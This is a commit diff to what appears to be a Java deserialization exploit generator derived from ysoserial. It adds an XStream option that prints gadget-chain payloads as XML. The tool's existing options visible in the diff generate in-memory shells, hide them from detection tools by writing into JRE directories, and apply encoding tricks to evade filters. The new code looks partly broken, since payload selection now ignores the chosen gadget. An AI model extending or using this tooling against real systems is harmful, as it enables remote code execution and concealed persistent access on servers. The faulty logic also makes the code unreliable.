Support xstream

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -9,7 +9,6 @@ import com.qi4l.jndi.gadgets.utils.StringUtil;
 import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
 import org.apache.commons.cli.*;
 
-import java.io.ByteArrayOutputStream;
 import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.util.*;
@@ -130,11 +129,21 @@ public class ysoserial {
             }
         }
 
+        if(cmdLine.hasOption("XStream")){
+            Config.IS_XSTREAM = true;
+        }
+
         final String payloadType = cmdLine.getOptionValue("gadget");
         final String command     = cmdLine.getOptionValue("parameters");
+        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));;
+//        if (Config.IS_XSTREAM){
+//            payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));
+//        }else {
+//            payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
+//        }
 
-        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
         if (payloadClass == null) {
+
             System.err.println("Invalid payload type '" + payloadType + "'");
             printUsage(options);
             System.exit(1);
@@ -196,6 +205,7 @@ public class ysoserial {
         options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
         options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
         options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
+        options.addOption("x", "XStream", true, "Xstream deserialization");
         options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
         options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
         options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");

src/main/java/com/qi4l/jndi/gadgets/Config/Config.java

@@ -83,6 +83,7 @@ public class Config {
     public static Boolean IS_UTF_Bypass = false;
     public static Boolean IS_Hessian1 = false;
     public static Boolean IS_Hessian2 = false;
+    public static Boolean IS_XSTREAM = false;
     // 填充的脏数据长度
     public static int DIRTY_LENGTH_IN_TC_RESET = 0;
 

src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java

@@ -2,6 +2,7 @@ package com.qi4l.jndi.gadgets.utils;
 
 import com.caucho.hessian.io.*;
 import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
+import com.thoughtworks.xstream.XStream;
 
 import java.util.Base64;
 import java.io.ByteArrayOutputStream;
@@ -65,6 +66,8 @@ public class Serializer implements Callable<byte[]> {
             AobjOut.setSerializerFactory(sf);
             AobjOut.writeObject(obj);
             AobjOut.close();
+        } else if (IS_XSTREAM) {
+            xStreamSerialize(obj);
         } else {
             if (BASE64) {
                 objOut = new SuObjectOutputStream(outB64);
@@ -75,6 +78,8 @@ public class Serializer implements Callable<byte[]> {
 
         if (IS_Hessian1 || IS_Hessian2) {
             AobjOut.writeObject(obj);
+        } else if (IS_XSTREAM){
+            return;
         } else {
             objOut.writeObject(obj);
         }
@@ -90,6 +95,12 @@ public class Serializer implements Callable<byte[]> {
         return serialize(object);
     }
 
+    public static void xStreamSerialize(Object payload) {
+        XStream xstream = new XStream();
+        String xml = xstream.toXML(payload);
+        System.out.println(xml);
+    }
+
     public static class SuObjectOutputStream extends ObjectOutputStream {
 
         public SuObjectOutputStream(OutputStream out) throws IOException {